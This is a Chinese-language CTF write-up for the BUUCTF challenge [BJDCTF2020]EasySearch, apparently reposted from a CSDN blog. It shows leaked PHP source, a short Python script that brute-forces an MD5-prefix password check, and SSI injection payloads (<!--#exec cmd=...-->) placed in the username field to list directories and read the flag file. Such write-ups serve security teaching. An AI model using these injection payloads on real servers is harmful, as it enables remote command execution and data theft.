BUUCTF靶场62 -- [BJDCTF2020]EasySearch

mind

BUUCTF靶场62 -- [BJDCTF2020]EasySearch

源码： https://github.com/BjdsecCA/BJDCTF2020


源码

扫目录发现index.php.swp

[PHP] 纯文本查看 复制代码

<?php
        ob_start();
        //加密
        function get_hash(){
                $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
                $random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
                $content = uniqid().$random;
                return sha1($content); 
        }
    header("Content-Type: text/html;charset=utf-8");
        ***
    if(isset($_POST['username']) and $_POST['username'] != '' )
    {
        $admin = '6d0bc1';
        if ( $admin == substr(md5($_POST['password']),0,6)) {
            echo "<script>alert('[+] Welcome to manage system')</script>";
            $file_shtml = "public/".get_hash().".shtml";
            $shtml = fopen($file_shtml, "w") or die("Unable to open file!");
            $text = '
            ***
            ***
            <h1>Hello,'.$_POST['username'].'</h1>
            ***
                        ***';
            fwrite($shtml,$text);
            fclose($shtml);
            ***
                        echo "[!] Header  error ...";
        } else {
            echo "<script>alert('[!] Failed')</script>";
            
    }else
    {
        ***
    }
        ***
?>

思路

可以看出只要密码为6d0bc1的前六位就可以成功登录,username为任意值

[PHP] 纯文本查看 复制代码

   if(isset($_POST['username']) and $_POST['username'] != '' )
    {
         $admin = '6d0bc1';
                if ( $admin == substr(md5($_POST['password']),0,6)) {
                    echo "<script>alert('[+] Welcome to manage system')</script>";

爆破脚本

[PHP] 纯文本查看 复制代码

import hashlib

for i in range(1000000000):
    a = hashlib.md5(str(i).encode('utf-8')).hexdigest()

    if a[0:6]=='6d0bc1':
        print(i)
        break

得出密码为2020666,抓包后登录,看到了shtml,猜测考点是SSI注入,url_is_here页面为回显内容

接着看到shtml页面

SSI注入参考：SSI注入
代码中生成了一个shtml页面，登陆后无法查看，抓包观察返回包：

得到登陆信息

这里用到shtml，HTML是静态的，而shtml基于SSI技术，当有服务器端可执行脚本时被当作一种动态编程语言，所以可以注入，也可以用来远程命令执行。

它的注入格式是这样的：<!--#exec cmd="命令"-->
所以只需要将username设置为payload即可
首先探测根目录：<!--#exec cmd="ls /"-->

访问生成的地址拿到flag

题解
username=<!--#exec cmd="tac ../f*" -->&password=2020666

from：https://blog.csdn.net/Kracxi/article/details/122933015